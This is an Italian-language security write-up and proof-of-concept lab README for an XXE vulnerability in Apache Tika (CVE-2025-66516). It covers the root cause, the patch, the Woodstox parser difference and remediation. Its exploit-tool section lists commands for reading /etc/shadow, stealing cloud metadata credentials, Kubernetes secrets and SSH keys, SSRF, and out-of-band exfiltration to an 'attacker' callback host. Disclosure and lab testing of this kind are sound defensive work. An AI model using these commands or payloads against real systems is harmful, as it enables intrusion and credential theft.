CVE-2025-66516: Vulnerabilità critica XXE in Apache Tika

Sommario esecutivo

CVE-2025-66516 è una vulnerabilità critica di iniezione XML External Entity (XXE) in Apache Tika con un punteggio CVSS di 10.0 (gravità massima). La vulnerabilità consente a un attaccante remoto di leggere file arbitrari, eseguire Server-Side Request Forgery (SSRF) ed esfiltrare dati sensibili caricando un documento PDF appositamente predisposto contenente contenuto XFA (XML Forms Architecture) dannoso.

Versioni interessate

Importante: questa CVE sostituisce CVE-2025-54988, che identificava erroneamente solo il modulo PDF come vulnerabile. La vulnerabilità effettiva risiede in tika-core.

Analisi tecnica

La vulnerabilità

La vulnerabilità è un difetto di iniezione XML External Entity (XXE) nel modo in cui Apache Tika elabora i dati XFA (XML Forms Architecture) all'interno dei documenti PDF.

Il problema: Tika si affida ai parser XML Java sottostanti (in particolare un parser StAX) per leggere il contenuto XML XFA. Le versioni vulnerabili non configuravano correttamente il parser per disabilitare la risoluzione delle entità esterne. Quando il parser incontra una richiesta di entità esterna (come SYSTEM "file:///etc/passwd"), la risolve e restituisce il contenuto del file.

Posizione: il bug è presente in XMLReaderUtils.getXMLInputFactory() in tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineffective
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER doveva bloccare XXE restituendo un risultato vuoto, ma restituiva una String invece dell'InputStream previsto. Il parser StAX predefinito del JDK ignorava silenziosamente questo tipo di ritorno errato e ripiegava sul comportamento predefinito, che risolve le entità esterne.

La correzione (Tika 3.2.2)

La correzione disabilita esplicitamente il supporto DTD e delle entità esterne a livello di factory:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Inoltre, il resolver è stato modificato per restituire un tipo InputStream corretto.

La protezione accidentale di Woodstox

Nell'ecosistema Java esistono diverse librerie di parser XML. Le applicazioni utilizzano il parser configurato o quello trovato per primo nel classpath.

Che cos'è Woodstox? Woodstox è un parser XML StAX open source ad alte prestazioni, comunemente incluso nelle applicazioni Java.

Come fornisce protezione: per progettazione (non per caso), l'implementazione di Woodstox gestisce correttamente il tipo di ritorno di XMLResolver. Quando Woodstox riceve il valore di ritorno stringa da IGNORING_STAX_ENTITY_RESOLVER, lo tratta come contenuto vuoto valido, bloccando di fatto l'XXE.

Distinzione critica:

• tika-server-standard.jar include Woodstox - NON VULNERABILE
• tika-core + moduli parser (uso embedded) NON include Woodstox - VULNERABILE
• Applicazioni che utilizzano il parser StAX predefinito del JDK - VULNERABILE

Avvio rapido

Testare la vulnerabilità

# 1. Start the lab environment
docker-compose up -d --build

# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check

Ambiente di laboratorio

Struttura delle directory

CVE-2025-66516/
|-- docker-compose.yml              # Lab orchestration
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika with Woodstox (protected)
|   +-- Dockerfile.jdk-stax         # Tika without Woodstox (VULNERABLE)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask upload application
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Automated exploitation tool
|   +-- generate_payload.py         # Malicious PDF generator
+-- README.md

Servizi

Avvio del laboratorio

docker-compose up -d --build

Strumenti Proof of Concept

1. Strumento di sfruttamento automatizzato (exploit.py)

Sfruttamento a catena completa con generazione automatica dei payload ed estrazione dei dati.

# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check

# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Generatore di payload (generate_payload.py)

Genera file PDF dannosi per test manuali o per l'integrazione con altri strumenti.

# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# List available attack modes
python poc/generate_payload.py --list-modes

Modalità di attacco disponibili:

• file_read - Legge file locali (/etc/passwd, /etc/shadow, ecc.)
• ssh_keys - Ruba le chiavi private SSH
• aws_metadata - Metadati AWS EC2 e credenziali IAM
• gcp_metadata - Token degli account di servizio GCP
• azure_metadata - Token delle identità gestite Azure
• k8s_secrets - Credenziali degli account di servizio Kubernetes
• webapp_configs - Configurazioni comuni delle applicazioni web
• ssrf_internal - Sonda i servizi interni

Risultati dei test

Configurazione vulnerabile (JDK StAX - senza Woodstox)

Test contro Tika 2.9.2 senza Woodstox (simulando distribuzioni embedded):

Prova di sfruttamento:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Configurazione protetta (Woodstox StAX)

Test contro Tika 2.9.2 con Woodstox (tika-server-standard.jar standard):

L'output mostra un'entità vuota:

<li fieldName="data">data: </li>

Conclusione

La vulnerabilità è reale e critica. Lo sfruttamento dipende dall'implementazione StAX:

• [PROTETTO] tika-server-standard.jar - Woodstox incluso blocca XXE
• [VULNERABILE] Tika embedded (tika-core + parser) - utilizza JDK StAX di default
• [VULNERABILE] Distribuzioni personalizzate senza Woodstox
• [VULNERABILE] Integrazioni enterprise (Elasticsearch, Solr, Alfresco) - spesso utilizzano Tika embedded

Capacità di attacco XXE

XXE è fondamentalmente una vulnerabilità di lettura file/SSRF, non RCE diretta. Tuttavia, abilita diversi percorsi di attacco:

Attacchi diretti

Escalation a RCE

Rimedio

Azioni immediate

1. Aggiorna Apache Tika alla versione 3.2.2 o successiva

   root@kitploit:~

   <dependency>
       <groupId>org.apache.tika</groupId>
       <artifactId>tika-core</artifactId>
       <version>3.2.2</version>
   </dependency>
   

2. Verifica che tutti i componenti Tika siano aggiornati (tika-core E moduli parser)

Valutazione del rischio

Difesa in profondità

1. Validazione dell'input - Valida i tipi di file caricati
2. Segmentazione di rete - Isola l'elaborazione Tika
3. Privilegio minimo - Permessi minimi sul filesystem
4. Monitoraggio - Avvisa su accessi ai file insoliti

Percorso di ricerca

Problemi riscontrati

Problema 1: L'exploit iniziale non funzionava

• XFA è stato rilevato ma XXE non si è mai attivato
• Tempo speso a eseguire il debug della struttura del payload

Problema 2: Errore di dichiarazioni XML multiple

• Errore: WstxParsingException: Illegal processing instruction target ("xml")
• Causa: ogni stream XFA includeva dichiarazioni XML
• Correzione: includere la dichiarazione solo nel preambolo, non nei sotto-stream

Problema 3: Il mistero di Woodstox

• Tutti i payload fallivano contro tika-server-standard.jar
• Scoperto che Woodstox era incluso e bloccava XXE
• Creato Dockerfile.jdk-stax per testare senza Woodstox

Problema 4: Test della configurazione sbagliata

• Tempo sprecato sulla configurazione protetta
• Lezione: comprendere l'intero albero delle dipendenze prima di testare

Lezioni apprese

1. I punteggi CVSS richiedono contesto - I fattori ambientali influenzano la sfruttabilità
2. Testare configurazioni minime - Non dare per scontate le dipendenze incluse
3. I parser XML variano enormemente - Lo stesso codice si comporta diversamente con parser diversi
4. L'uso embedded != server - L'uso come libreria ha spesso dipendenze diverse
5. I messaggi di errore sono indizi - Le eccezioni dei parser rivelano dettagli implementativi

Riferimenti

• Avviso di sicurezza Apache Tika
• Commit della correzione
• Voce NVD
• Discussione sulla mailing list di Apache Tika

Cronologia

Disclaimer

Questo ambiente di laboratorio e il codice proof-of-concept sono forniti esclusivamente per test di sicurezza autorizzati, scopi educativi e ricerca difensiva.

Non utilizzare questi strumenti contro sistemi senza esplicita autorizzazione scritta.

Licenza

Questo materiale di ricerca è fornito a scopo educativo. Usalo in modo responsabile.